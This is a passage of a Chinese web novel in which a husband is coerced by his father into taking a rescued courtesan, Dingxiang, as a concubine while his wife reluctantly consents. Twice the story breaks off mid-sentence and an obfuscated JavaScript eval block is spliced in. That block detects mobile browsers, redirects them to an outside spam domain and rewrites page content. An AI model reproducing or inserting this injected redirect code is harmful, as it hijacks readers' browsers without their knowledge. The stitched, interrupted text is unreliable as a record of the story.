第二天清晨,阳光透过窗棂洒进帐内,李傲雪在一阵酸痛中醒来。刚想坐起身,浑身却像散了架似的,尤其是腰肢处,酸软得厉害。她挣扎着挪到床边,双脚刚沾地,就踉跄了一下,差点站不稳——昨晚被他折腾得太狠,此刻连走路都有些吃力。 她扶着梳妆台坐下,对着铜镜一瞧,顿时红了脸。脖颈处、锁骨上,全是深浅不一的痕迹,像一朵朵暧昧的花,怎么遮都遮不住,连领口都掩不住那抹春色。 正懊恼着,肖晨从身后轻轻环住她的腰,下巴搁在她肩上,声音带着刚睡醒的慵懒:“醒了?” 李傲雪拍开他的手,嗔道:“都怪你。” 肖晨看着镜中她泛红的脸颊和那些醒目的痕迹,眼底闪过一丝笑意,故意逗她:“你要是害羞,今日就别出去了,我让厨房把早膳端到房里来。” “那怎么行?”李傲雪瞪他一眼,“说好要去陪丁香姑娘的,总不能食言。”她拿起胭脂,想往脖颈上抹些遮掩,可那痕迹太深,怎么也盖不住,反而显得更惹眼。 肖晨见她手足无措的样子,忍不住低笑出声,从柜子里翻出一件领口稍高的藕荷色衣衫递过去:“穿这件吧,能遮些。” 李傲雪接过衣衫,瞪他一眼:“少爷你真坏。”嘴上抱怨着,嘴角却忍不住微微上扬。 他从身后拥住她,在她耳边低语:“下次……轻点?” 温热的气息拂过耳畔,李傲雪的脸瞬间又红了,推开他:“去去去,赶紧洗漱,别耽误了时辰。” 肖晨笑着应了,转身去净手。阳光落在两人身上,带着晨起的暖意,昨夜的缠绵尚未褪去,又添了几分日常的温情。 等两人收拾妥当,李傲雪扶着腰,走路依旧有些不自然,肖晨想扶她,却被她嗔怪地躲开:“当着下人的面,像什么样子。” 他只好放慢脚步,跟在她身侧,目光里满是纵容。 跨院的丁香早已起身,正坐在廊下侍弄那盆刚送来的兰草。见两人进来,连忙起身行礼,目光不经意扫过李傲雪的脖颈,又飞快地低下头,脸颊悄悄红了。 李傲雪被她看得有些不好意思,拉着她的手转移话题:“看我给你带了什么?新做的绿豆糕,清热解腻的。” 丁香接过食盒,轻声道谢,眼角的余光瞥见肖晨望着李傲雪的眼神,温柔得能滴出水来,心里忽然涌上一股暖意。 原来,安稳的日子,是这样的。 玉溪端着茶进来时,见三人坐在廊下说话,脚步放得极轻。李傲雪正指着窗台上的绣绷笑:“你看这兰草绣得,比真的还精神,回头教我两针?” 丁香腼腆地点头:“少夫人不嫌弃就好。” 肖晨坐在一旁,看着两人凑在一起研究绣线,嘴角噙着浅淡的笑意。晨光透过葡萄藤的缝隙落在石桌上,将那碟绿豆糕照得莹润透亮,倒比往日多了几分温馨。 正说着,管家匆匆走来,在肖晨耳边低语了几句。肖晨脸上的笑意淡了些,起身道:“我去趟前院,你们先聊着。” 李傲雪见他神色凝重,轻声问:“出什么事了?” “王老爷那边又送了些账本来,说是今日就要抄完。”肖晨揉了揉她的发顶,“别担心,我去去就回。” 他走后,李傲雪看着丁香微蹙的眉,便知她又在胡思乱想,遂握住她的手道:“他就是去做些笔墨活,王老爷虽难缠,却也不敢真伤了他——毕竟肖家的船队还捏在咱们手里。” 丁香低下头:“可终究是因我……” “傻姑娘。”李傲雪打断她,拿起一块绿豆糕递过去,“他乐意护着你,我也乐意帮着他,这不是谁欠谁的事。你呀,就安心住着,把这儿当自己家。” 丁香咬着糕点,清甜的滋味在舌尖化开,心里却暖得发涩。她活了这么多年,从未听过“把这儿当自己家”这样的话,眼眶一热,连忙别过脸去。 李傲雪瞧着她泛红的耳根,心里叹了口气。这姑娘什么都好,就是太把自己当外人,总想着报恩,想着退让,却不知有时候,坦然接受善意,也是一种成全。 午后,肖晨从外面回来,手里捏着几张纸,脸色不太好看。李傲雪迎上去:“怎么了?王老爷又刁难你了?” “他让我把这些‘账目’抄给各位乡绅看,明摆着是想借我的手,把他那些见不得光的交易洗白。”肖晨将纸拍在桌上,“我没答应,他怕是又要生事。” 丁香站在一旁,听见“王老爷”三个字,手指不自觉地绞紧了帕子。肖晨看在眼里,放缓了语气:“不关你的事,我自有办法应付。” 正说着,下人来报,说王老爷派人送了封信来。肖晨拆开一看,眉头皱得更紧——信里竟是王老爷亲笔,说要亲自来肖府“拜访”,顺便看看丁香“过得好不好”。 “他这是故意来挑事。”李傲雪沉了脸,“明知道父亲还在气头上,他来这一趟,不定要闹出什么乱子。” 肖晨捏紧了信纸,指节泛白:“他要来看,就让他来。我倒要看看,他能说出什么花来。” 傍晚时分,王老爷果然带着两个随从,大摇大摆地进了肖府。肖父避而不见,只让肖晨在前厅待客。 王老爷坐定后,端着茶盏环顾四周,阴阳怪气道:“肖府真是好福气,藏着这么个‘宝贝’,连我这外人都想来沾沾光。” 肖晨面色平静:“王老爷有话不妨直说。” “也没什么大事,”王老爷放下茶盏,似笑非笑地看向屏风后,“就是听说丁香姑娘在这儿住得惯,特意来问问,要不要回我那儿去?毕竟……有些人家里,怕是容不下这么金贵的客人。” 话音刚落,屏风后传来轻微的响动。丁香不知何时站在了那里,脸色发白,却挺直了脊背:“多谢王老爷挂心,我在这儿住得很好,不劳您费心。” 王老爷没想到她敢出声,愣了一下,随即冷笑:“你倒是有骨气。只是不知肖公子能护你到几时——毕竟,肖家的名声,可比你的安稳金贵多了。” “我的名声,我自己护着。”肖晨站起身,挡在丁香身前,“就不劳王老爷操心了。若是没别的事,我就不多留您了。” 王老爷见讨不到便宜,反而被噎了几句,悻悻地站起身:“好,好得很。肖公子,咱们走着瞧。” 他甩袖离去后,前厅里一片寂静。丁香看着肖晨紧绷的侧脸,轻声道:“又连累你了。” 肖晨回头看她,忽然笑了:“我说过,这不是你的错。” 暮色渐浓,李傲雪提着一盏灯笼走来,见两人站在厅里,便笑道:“厨房炖了汤,进去暖暖身子吧。” 灯笼的光晕在青砖地上晃出柔和的圈,三人并肩往里走时,肖晨忽然道:“过几日我要去江南收账,你们跟我一起去。” 李傲雪眼睛一亮:“真的?” “嗯,”肖晨点头,看向丁香,“江南水乡,比城里清净,或许……你会喜欢那里。” 丁香望着他眼里的暖意,心里那点不安忽然散了。她用力点头,嘴角扬起一抹浅浅的笑。 肖父走进前厅时,脸色依旧沉得像块铁。他扫了一眼站在肖晨身侧的丁香,眼神里的嫌恶毫不掩饰,对着两人挥了挥手:“你们两个先退下。” 丁香攥紧了帕子,低着头跟着李傲雪往后院走,脚步有些发颤。她知道,肖父定是要说些关于她的话,那些话,怕是不会好听。 待两人走远,肖父才在肖晨对面坐下,端 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993203|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起茶杯却没喝,开门见山:“你打算如何安置那个女子?” 肖晨垂眸:“我想让她留在府里。” “留在府里?”肖父猛地放下茶杯,茶水溅出几滴,“你要把她放在家里一辈子?你没听见外面的流言蜚语吗?现在满城的人都在说,我肖家出了个不知廉耻的儿子,把个不清不楚的女人养在府里,败坏门风!” “那些都是无稽之谈。”肖晨抬头,语气坚定,“丁香是什么样的人,我清楚。名声是靠自己挣的,不是靠别人说的。” “你清楚?”肖父冷笑,“你清楚她会让你被人戳着脊梁骨骂?你清楚肖家的生意因为她受了多少影响?肖晨,你醒醒吧!”他往前倾了倾身,目光锐利,“现在外面的传言,都说你要把她‘养着’,这话传出去,你让傲雪怎么抬得起头?让肖家的脸面往哪儿搁?” 肖晨沉默片刻,缓缓道:“我是想要把她留在身边的。” “留在身边?”肖父气得拍了桌子,“你以为这是小事?一个低贱女子,常年住在你府里,名不正言不顺,你让外人怎么看?”他盯着肖晨,语气带着不容置疑的强硬,“现在只有两条路给你选——要么,你娶了她,给她一个名分,堵住所有人的嘴;要么,就把她送走,送得远远的,再也别让她出现在城里。” 肖晨猛地抬头,眼里满是震惊:“娶她?” “不然呢?”肖父挑眉,“要么给她名分,让她光明正大地留在肖家;要么就彻底断了念想,别再拖泥带水。你选吧。” 这两个选择,像两把重锤,狠狠砸在肖晨心上。 娶她?他从未想过。他对丁香,是怜惜,是守护,却从未有过男女之情。更何况,他已有傲雪,怎能再娶? 送走她?他做不到。他答应过要护她安稳,若是把她送走,以她的处境,无异于再次将她推入险境。 “爹,就没有别的办法吗?”肖晨的声音带着恳求。 “没有。”肖父斩钉截铁,“我给你三天时间考虑。三天后,我要听到你的答案。” 说完,他站起身,头也不回地走了。 前厅里只剩下肖晨一人,他靠在椅背上,只觉得一阵无力。 娶她,对傲雪不公,对丁香也不公。 送走她,违背了自己的承诺,更是将她往火坑里推。 这两条路,无论选哪一条,都注定有人受伤。 窗外的天色彻底暗了,肖晨坐在黑暗里,指尖冰凉。他第一次觉得,所谓的“守护”,竟如此艰难。 而跨院里,丁香隐约听见前厅的争执声,心里像压了块石头。她走到窗边,望着前厅的方向,眼里满是不安。 她知道,自己终究是个麻烦。 或许,肖父说得对,她不该再留在这里了。 夜色渐深,跨院的灯,亮了很久很久。 肖晨找到丁香时,她正坐在廊下对着那盆兰草发呆。月光落在她发顶,像一层薄薄的霜,看得他心口发紧。 他走过去,轻声道:“陪我去院里走走吧。” 丁香没问缘由,默默站起身跟着他。院子里的桂花开了,香气漫了一地,却驱不散两人间的沉重。 走到石榴树下,肖晨停下脚步,转过身看着她,声音带着难以掩饰的疲惫:“我爹……让我做个选择。” 丁香的睫毛颤了颤,像是早已料到,轻声问:“是让我走吗?” “他说,要么送你走,要么……娶你做妾。”肖晨的声音艰涩,“我舍不得你走,可我怎么能娶你做妾?傲雪待你亲如姐妹,我不能委屈了你,更不能对不起她。” 他看着她清澈的眼睛,里面映着月光,也映着他的挣扎:“你该有更好的归宿,不是做谁的妾,看人脸色过日子。” 丁香低下头,指尖抠着帕子,声音轻得像叹息:“公子的心意我明白。我这种人,原就入不了肖家的门,更入不了你的眼睛。你不必为难,我会走的。” 她早就知道,像她这样的人,能有几日安稳已是侥幸,哪敢奢求更多。 “不许说这种话!”肖晨猛地抓住她的手腕,力道大得让她蹙眉,“什么叫入不了我的眼?在我心里,你比谁都好!” 他忽然收紧手臂,将她紧紧拥在怀里,下巴抵着她的发顶,声音带着压抑的颤抖:“不要走,丁香,我离不开你。” 这几日的挣扎、犹豫、痛苦,在此刻都化作了最直白的渴求。他原以为自己对她只是怜惜,可当“失去”变得具体,才发现那份牵挂早已深种,成了戒不掉的习惯。 丁香被他抱得喘不过气,鼻尖萦绕着他身上的皂角香,混合着桂花的甜,让她眼眶一热。她想推开他,手却软得没有力气,只能任由眼泪掉下来,打湿他的衣襟。 “我该怎么办……”她的声音哽咽,“我留下来,是你的累赘;我走了,又……又舍不得……” 肖晨收紧怀抱,仿佛要将她揉进骨血里:“什么都不用办,就留在我身边。我不会让你做妾,也不会让你走。我去跟我爹说,去跟傲雪说,总会有办法的。” 他抬起她的下巴,指腹擦去她的眼泪,目光灼灼:“相信我,好不好?” 丁香看着他眼里的坚定,看着他泛红的眼眶,心里那道名为“认命”的防线,忽然塌了一角。 是啊,她也舍不得。 舍不得这短暂的安稳,舍不得他的维护,舍不得跨院里的灯火,舍不得……眼前这个人。 她吸了吸鼻子,点了点头,声音带着浓重的鼻音:“好。” 肖晨松了口气,重新将她拥入怀中。桂花落在两人肩头,像撒了一把碎金。 或许前路依旧难走,或许还会有更多的阻碍,但此刻,他只想抱着她,感受这份真实的温暖。 有些感情,藏不住,也躲不开。 那就,勇敢一次吧。 为了她,也为了自己那颗早已不受控制的心。 肖晨回到房间时,李傲雪正坐在灯下缝补他的袖口。见他进来,她抬起头,眼里带着一丝不易察觉的期待,可看到他凝重的神色,那点期待又慢慢沉了下去。 “爹的意思,我跟你说了吧。”肖晨在她身边坐下,声音疲惫。 李傲雪手里的针线顿了顿,没有抬头,轻声道:“你说吧,我听着。” “他让我要么送丁香走,要么……娶她做妾。”肖晨艰难地开口,“我跟丁香说了,既不会送她走,也不会委屈她做妾。” 李傲雪手里的针猛地扎在指尖,渗出一点血珠。她却像没察觉,只是慢慢抬起头,脸色苍白得吓人,眼眶泛红:“少爷,你真要娶她吗?” 她的声音带着颤抖,带着难以置信的委屈:“我们才刚成亲没多久啊……那些日子,你说会一辈子对我好,难道都忘了吗?我不想把你让给她,真的不想……” 最后几个字,几乎是带着哭腔说出来的。她不是不善良,只是她也是个寻常女子,做不到眼睁睁看着自己的丈夫,去对另一个女人许下承诺。 肖晨看着她指尖的血珠,心里像被针扎了一样疼。他伸手想握住她的手,却被她避开了。 “我没想娶她做妾。”他急忙解释,“我跟爹说了,这两条路我都不选。我会再想别的办法,绝不会委屈了你,也不会让丁香受委屈。” 李傲雪低下头,眼泪掉在绣绷上,晕开一小片湿痕。她沉默了许久,肩膀微微耸动,像是在极力压抑着哭声。 肖晨看着她难受的样子,心里又悔又痛。他不该让她承受这些的。 过了好一会儿,李傲雪才慢慢抬起头,用袖子擦了擦眼泪,声音带着浓重的鼻音,却异常坚定:“如果……如果少爷真的要娶她,我……我是可以接受的。” 肖晨愣住了:“傲雪,你……” “我知道你心善,见不得丁香姑娘受苦。”她吸了吸鼻子,强扯出一个笑,却比哭还难看,“我也喜欢她,不想她再被人欺负。若是娶她进门能让她安稳,能让你安心,我……我认了。” 只是说着说着,眼泪又掉了下来:“只是……只是你以后,能不能……能不能多看看我?” 肖晨再也忍不住,伸手将她紧紧拥在怀里,声音沙哑:“傻瓜,我说了不会娶她做妾。是我没用,让你受委屈了。” 他怎么能让她做出这样的退让?她是他明媒正娶的妻子,是他承诺过要守护一生的人。 “是我考虑不周,没顾及你的感受。”肖晨轻轻拍着她的背,“你放心,我绝不会做让你受委屈的事。丁香的事,我会另外想办法,不会让她以任何名义进这个门,更不会让你心里添堵。” 李傲雪靠在他怀里,终于忍不住哭出了声,像个受了委屈的孩子:“我就知道……我就知道少爷不会丢下我的。” 肖晨紧紧抱着她,心里五味杂陈。一边是需要守护的丁香,一边是深爱的妻子,他从未觉得如此艰难。 “委屈你了。”他在她耳边低语,“再给我些时间,我一定能想到两全的办法。” 李傲雪在他怀里点了点头,眼泪渐渐止住了。窗外的月光透过窗纱照进来,落在两人交握的手上,带着一丝劫后余生的温暖。 她知道,前路或许还有波折,但只要他的心还在,她就有勇气一起面对。 而跨院里的丁香,似乎感应到了什么,辗转反侧了一夜。天快亮时,她终于做了一个决定。 有些温暖,不能贪得无厌。 有些人,不能伤得太深。 43.让他纳妾 天还没亮透,跨院的门就被轻轻推开了。丁香背着一个小小的包袱,借着熹微的晨光往外走,脚步放得极轻,像怕惊扰了谁。 刚走到月亮门边,一个身影忽然从暗处站了出来,拦住了她的去路。是肖晨身边的小厮阿成,他手里还提着一盏未熄的灯笼,显然是守了一夜。 “丁香姑娘,您这是要去哪儿?”阿成的声音不高,却带着不容置疑的坚定。 丁香心里一慌,低下头:“我……我出去透透气。” “透气需要带包袱吗?”阿成往前一步,目光落在她肩上的包袱上,语气里带着几分急意,“姑娘,您不能走啊!” 丁香咬着唇,声音发颤:“我留在这儿,只会让少爷为难,让少夫人伤心,我……” “您怎么能这么说?”阿成打断她,语气里带着明显的不赞同,“您知道少爷为了您受了多少罪吗?为了留您在府里,他跟老爷吵了多少次架?为了护着您,他在王老爷面前忍了多少羞辱?城里的流言蜚语像刀子一样扎人,他一句都没让您听见,自己扛着!” 他看着丁香,眼里满是恳切:“您怎么只能想着自己走,不顾及他的感受?您走了,他之前的付出不都白费了吗?他会有多难受您知道吗?” “我……”丁香被他问得说不出话,眼泪在眼眶里打转,“我不想让他为难……” “真正让他为难的,是您走啊!”阿成叹了口气,“您以为少爷留您,只是可怜您吗?不是的!他是真心把您放在心上了!昨天夜里,他在石榴树下抱着您说‘离不开你’,我在廊下都听见了!” 丁香猛地抬起头,眼里满是震惊。 “他跟少夫人坦白的时候,心里有多煎熬您知道吗?”阿成的声音软了些,“少夫人虽然难受,可还是愿意为了少爷委屈自己。现在大家都在为您努力,您怎么能说走就走?” 包袱从丁香肩上滑下来,掉在地上,发出轻微的声响。她站在原地,眼泪终于忍不住掉了下来,不是因为委屈,而是因为愧疚和无措。 是啊,她只想着自己不能成为负担,却没想过,她的离开,对肖晨来说,或许是更深的伤害。 她想起他在巷口追上来时的急切,想起他抱着她说“不要走”时的颤抖,想起他为了护着她,一次次对抗那些恶意……原来,他为她做的,比她想象的还要多。 “我……”她张了张嘴,却不知道该说什么。 就在这时,身后传来熟悉的脚步声。肖晨和李傲雪不知何时站在了那里,目光都落在她身上。 肖晨走上前,捡起地上的包袱,轻声道:“我知道你心里不好受,但别再想着走了,好吗?” 李傲雪也走上前,握住丁香的手,声音温和:“我们一起想办法,总会有解决的办法。你走了,我们才是真的为难。” 丁香看着眼前这两个人,他们的眼里没有指责,只有真切的挽留。眼泪掉得更凶了,却重重地点了点头。 原来,被人坚定地留在身边,是这样的感觉。 沉重,却也温暖。 阿成提着灯笼退到一旁,看着三人并肩往回走的身影,悄悄松了口气。 天边泛起鱼肚白,新的一天开始了。或许难题依旧在,但只要心齐,再难的坎,总能迈过去。 跨院的门被重新关上,这一次,里面的人,都没再想过要离开。 肖父在书房里听着下人回报,说丁香终究没走成,肖晨还陪着她回了跨院,手里的茶盏重重磕在桌案上,发出一声闷响。 没多久,他就让人把肖晨叫到跟前,劈头就问:“看来你是铁了心要把人留住?” 肖晨站在原地,背脊挺得笔直:“是,我舍不得她走。” “好,好得很!”肖父怒极反笑,对着门外喊,“去把城西的张喜婆找来,让她给少爷准备纳妾的事,那些繁杂流程都免了,简单些就行。” 肖晨心里一紧:“爹,您这是做什么?” “做什么?”肖父瞪着他,“既然你舍不得她走,那就给她个名分!今晚就让你们洞房,省得外面的人说三道四,说我肖家连个体面都不给人家!” “我不能这么做!”肖晨急忙道,“傲雪才嫁过来没多久,我怎能如此委屈她?丁香也不是愿意做妾的人,爹,这对她们俩都不公平!” “公平?”肖父冷笑,“你护着那个女人的时候,怎么没想过对傲雪公平?现在跟我谈公平?”他站起身,走到肖晨面前,语气带着最后通牒的强硬,“我把话放这儿——要么,今晚就按我说的做,给她一个妾的名分,让她名正言顺留在府里;要么,我现在就让人把她赶走,扔到城外的乱葬岗去,我可不会心软!” “爹!”肖晨又惊又怒,“您怎么能说出这种话?” “我是你爹!这个家还轮得到你跟我犟嘴?”肖父指着门口,“去告诉那个女人,让她好好准备着!要是敢说个不字,就别怪我心狠!” 说完,他猛地甩袖进了内室,重重摔上了门。 肖晨僵在原地,手脚冰凉。他知道父亲的脾气,说得出就做得到。父亲是铁了心要逼他就范,用丁香的安危,逼他接受这桩不情愿的婚事。 他走出书房,阳光刺眼,却暖不了他冰凉的心。 走到跨院门口,他停下脚步,看着那扇紧闭的门,心里像被刀割一样疼。 他该怎么跟丁香说? 说他要娶她做妾,委屈她一辈子? 还是说,他保护不了她,只能看着她被父亲赶走,落入险境? 无论哪种选择,都是煎熬。 门“吱呀”一声开了,丁香站在门内,显然是听到了外面的动静,脸色苍白地看着他:“公子……是不是肖老爷……” 肖晨看着她担忧的眼神,喉咙发紧,一个字也说不出来。 他该怎么告诉她,父亲用她的性命,逼他做一个最残忍的选择? 肖晨看着丁香眼里的惶恐,强压下心头的翻涌,扯出一个安抚的笑:“没事,你不用担心,我会处理好的。” 他转身往回走,脚步沉重得像灌了铅。 回到空无一人的书房,他猛地将自己摔在椅上,双手插进头发里,第一次感到如此绝望。 他是真的没办法了。 他从未想过,自己会面临这样的抉择。更何况,他灵魂深处,本就是个女孩——让他以“丈夫”的身份,去接纳另一个女子做妾,这简直是对自我认知的凌迟。 他对丁香,是怜惜,是想要守护的责任感,唯独没有半分男女之情。让她做妾,是对她的侮辱,更是对自己的背叛。 可父亲的话像一把刀,悬在丁香头顶——不答应,就是眼睁睁看着她被赶走,落入未知的险境。 “为什么……”他低低地呢喃,声音里满是无力。 他试着想过反抗,想过带着丁香和傲雪离开肖家,可他们身无分文,又能去哪里?父亲在城里根基深厚,想找到他们易如反掌。 他也想过跟父亲坦白自己的“不同”,可这话一旦说出口,只会被当成疯言疯语,不仅救不了丁香,反而会把自己也拖入深渊。 窗外的日头渐渐偏西,书房里的光线越来越暗,像他此刻的心情。 他知道,自己不能妥协。 不仅是为了傲雪,为了丁香,更是为了守住自己心里那点来自现代的底线。 可除了妥协,他还有别的路吗? 手指无意识地敲着桌面,忽然,一个念头闪过脑海——或许,他可以赌一次。 赌父亲只是一时气极,赌他终究舍不得对自己下死手。 深吸一口气,肖晨站起身,眼神渐渐坚定。 他不能让任何人,摧毁他坚守的东西。 哪怕,要付出巨大的代价。 肖父把张喜婆请到府里时,直接让人把肖晨从书房拽了过来。喜婆手里捧着红绸包着的花钗,见了肖晨便笑盈盈地要上前,被肖父一个眼神制止了。 “现在,你再选一次。”肖父坐在上首,语气冷得像冰,“要么,接过喜婆的东西,今晚就圆房;要么,我现在就让人把她拖出去,扔到乱葬岗喂野狗——你选。” 他拍了拍手,两个膀大腰圆的家丁立刻站到门口,眼神凶狠地盯着院外,显然是真的要动手。 肖晨看着父亲决绝的脸,看着家丁们蠢蠢欲动的样子,心一点点沉下去。他原以为父亲只是吓唬他,没想到竟来真的。 他看向喜婆手里的花钗,红得刺眼,像染了血。又想到丁香那双总是带着怯懦却又藏着坚韧的眼睛,想到她若被扔出去,会遭遇怎样的境地…… “我……”他喉结滚动,声音艰涩得像被砂纸磨过,“我答应。” 肖父眼里闪过一丝得逞的冷光,却没说话。 肖晨闭了闭眼,再睁开时,眼底只剩下疲惫:“这件事,我去告诉她。” 他不能让别人去说,尤其不能让这些带着鄙夷和看热闹的人去告诉她。 喜婆见状,连忙把花钗递过来:“肖公子放心,都是简单的流程,保准不委屈了那位姑娘……” 肖晨没接,只是转身往外走,脚步虚浮得像踩在棉花上。 跨院的门虚掩着,丁香正坐在廊下,手里拿着针线,却半天没缝下一针。听到脚步声,她猛地抬起头,眼里的不安像水一样漾开。 肖晨推开门,站在门口,看着她,嘴唇动了动,却不知道该怎么开口。 “公子……”丁香站起身,声音发颤,“是不是……肖老爷……” 肖晨走到她面前,看着她苍白的脸,心里像被无数根针扎着。他深吸一口气,艰难地吐出几个字:“我爹说……今晚,让我娶你做妾。” 丁香手里的针线“啪”地掉在地上,脸色瞬间褪尽了所有血色,比纸还白。她怔怔地看着肖晨,眼里的光一点点熄灭,像燃尽的烛火。 “做妾……”她喃喃重复着这两个字,嘴角忽然勾起一抹苦涩的笑,“原来……终究还是这样。” 她就知道,像她这样的人,不配得到真正的安稳。所谓的守护,所谓的“离不开”,到头来,不过是换个地方看人脸色,做个见不得光的妾。 “对不起。”肖晨的声音沙哑,“我……我没能护住你。” 丁香摇了摇头,眼泪掉了下来,却笑着说:“不怪你,公子。能有这几日安稳,我已经很知足了。” 她弯腰捡起地上的针线,动作缓慢而僵硬:“我知道该怎么做,不会让公子为难的。” 她的顺从像一把钝刀,割得肖晨心口生疼。他想解释,想说这不是他的本意,可话到嘴边,却只剩下无力。 他终究还是让她失望了。 看着丁香转身走进房间的背影,单薄得像一片随时会被风吹走的叶子,肖晨的拳头死死攥着,指甲深深嵌进肉里。 今晚,他该如何面对她?又该如何面对傲雪? 更重要的是,该如何面对那个,坚守着一夫一妻准则的自己? 跨院的风吹过,带着桂花的甜,却甜得发苦。 肖晨走出跨院时,李傲雪正站在月亮门边等他,手里还攥着一方帕子,指节泛白。见他出来,她连忙迎上去,目光里带着探询和不安。 “傲雪……”肖晨看着她,喉咙发紧,终究还是把事情说了出来,“我爹他……逼着我今晚就纳丁香为妾。” 李傲雪的脸“唰”地白了,往后踉跄了一步,幸好扶住了廊柱才站稳。她看着肖晨,眼里的光一点点黯淡下去,像被雨水打湿的烛火。 沉默在两人之间蔓延,只有风吹过树叶的沙沙声。 肖晨心里像压着块石头,正要开口说“我再去跟爹求求情”,却听到李傲雪轻轻开了口,声音带着浓重的鼻音:“少爷,不如……你就娶了她吧。” 肖晨猛地抬头,满眼震惊:“傲雪,你……” “我想通了。”李傲雪吸了吸鼻子,努力挤出一个笑脸,却比哭还难看,“与其让她被老爷赶走,落得个凄惨下场,不如让她留在府里。至少……至少我们还能照看着她,不让她受太大的委屈。” 她走到肖晨面前,轻轻握住他的手,掌心冰凉:“我知道你心里不好受,既不想委屈我,也不想委屈她。可事到如今,这或许是唯一的办法了。” “我……”肖晨看着她强装的镇定,心里又痛又悔,“这样对你太不公平了。” “我们是夫妻啊。”李傲雪的眼泪终于忍不住掉了下来,“夫妻本该同甘共苦,不是吗?我虽然心里难受,可我更不想看到你为难,不想看到丁香姑娘出事。” 她踮起脚尖,轻轻擦去肖晨眼角的湿润,声音带着一丝颤抖,却异常坚定:“少爷,娶她吧。我会接受的,真的。” 肖晨看着她泛红的眼眶,看着她强撑的笑容,心里像被刀剜一样疼。他知道,李傲雪说的“接受”,背后藏着多少委屈和退让。 “对不起……”他只能说出这三个字,除此之外,再无言语。 李傲雪摇摇头,拉着他的手往回走:“别说对不起。我们是一家人,不是吗?” 夕阳的余晖落在两人身上,将影子拉得很长,却透着一股说不出的沉重。 回到房间,李傲雪打开妆奁,从里面拿出一支成色极好的银簪:“这是我陪嫁来的,等会儿让玉溪送去给丁香姑娘吧,也算……也算我这个做正妻的一点心意。” 肖晨看着那支银簪,又看着李傲雪故作平静的侧脸,忽然明白了——她不是真的愿意接受,只是为了他,甘愿把所有的苦涩都咽进肚子里。 他走上前,从身后紧紧抱住她:“傲雪,谢谢你。” 李傲雪靠在他怀里,眼泪无声地滑落,浸湿了他的衣襟。 是啊,她愿意为了他委屈自己。 只是,心里那点酸涩,终究还是忍不住。 窗外的天色渐渐暗了,跨院里亮起了灯,那盏灯在夜色里显得格外单薄,像丁香此刻的心境。 而肖晨知道,今晚,注定是个难眠的夜。 对他,对李傲雪,对丁香,都是如此。 喜婆带着玉溪进跨院时,丁香正坐在床边发呆,眼神空茫得像蒙了层雾。 “哎哟,丁香姑娘,好日子呢,该高兴才是。”喜婆嗓门亮,手里捧着个红布包,里面是套水红色的襦裙,“快,让玉溪姑娘给你换上,保准比画上的人儿还俏。” 玉溪走上前,声音轻轻的:“丁香姑娘,我帮你梳妆吧。” 丁香没动,也没说话,像没听见似的。直到玉溪的手轻轻搭上她的肩,她才猛地一颤,眼里泛起水光,却还是点了点头。 喜婆在一旁看着,嘴里不停念叨:“姑娘这模样,真是没挑的,皮肤白得像玉,眉眼又俊,肖公子有福气咯……”话里话外,却总带着点“攀高枝”的意味。 玉溪手巧,很快就帮丁香梳好了发髻,插上那支李傲雪送来的银簪。水红色的襦裙穿在她身上,衬得她本就白皙的皮肤愈发剔透,只是那双眼睛里的落寞,怎么也遮不住。 “你瞧,多好看。”喜婆拍着手笑,又从包里翻出个红盖头,“按规矩,该盖这个……” “别。”丁香忽然开口,声音很轻,却带着不容置疑的坚决,“我不盖。” 喜婆愣了愣,看了眼门外,终究没再坚持——毕竟是纳妾,本就比正妻的规矩松些。 院里传来脚步声,是肖晨来了。他穿着件暗红色的锦袍,衬得脸色愈发沉郁,远远看着,竟没有半分新郎官的喜气。 喜婆忙拉着丁香迎上去,笑嘻嘻地推着两人往堂屋走:“快,拜个堂,就算礼成了。” 没有鼓乐,没有宾客,只有喜婆在一旁唱喏。“一拜天地”“二拜高堂”(高堂位空着,只对着主屋的方向)“夫妻对拜”,三拜下来,像演了场仓促的戏。 丁香始终垂着眼,动作僵硬得像个提线木偶。肖晨看着她水红色的裙角,只觉得刺眼,每拜一下,心里就像被重锤砸一下。 礼成后,喜婆端来两杯酒,递到两人手里:“喝了这合卺酒,往后就是一家人了。” 肖晨接过酒杯,手微微发颤。丁香也接了,指尖冰凉。两人没看彼此,仰头将酒饮尽,那酒辛辣得呛人,从喉咙一直烧到心里。 “好了好了,良辰吉时,该入洞房了。”喜婆笑得满脸褶子,推着肖晨往内屋走,又回头对丁香道,“姑娘,快跟上。” 玉溪在一旁红了眼眶,低声道:“丁香姑娘,保重。” 内屋的门被喜婆“吱呀”一声带上,还特意落了锁。 房里只剩两人,红烛在桌上跳动,将影子投在墙上,忽明忽暗。 水红色的裙角与暗红色的袍角在地面上挨着,却像隔着万水千山。 谁也没说话,空气里只有烛火燃烧的噼啪声,和两人都有些急促的呼吸。 这场被逼迫的“喜事”,终究还是走到了这一步。 肖晨一步步走近,红烛的光在他眼底明明灭灭。他看着丁香垂着的眼睫,那上面还沾着未干的湿痕,喉咙发紧:“丁香,委屈你了。” 丁香缓缓抬起头,眼底的水光已经褪去,只剩下一片平静,甚至带着点自嘲的笑意:“公子不必如此说。我本就是从花船出来的人,命如草芥,能得公子收留,有个地方安身,我已经感激不尽了,哪里敢说委屈。” 她顿了顿,目光落在他身上那件暗红锦袍上,轻声道:“做妾也好,做婢也罢,对我来说,不过是换个活法。” “我不是这个意思。”肖晨急忙打断她,语气里带着急切,“我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009345|178041||http|test|mini|href|location''.split(''|''),0,{})); () { 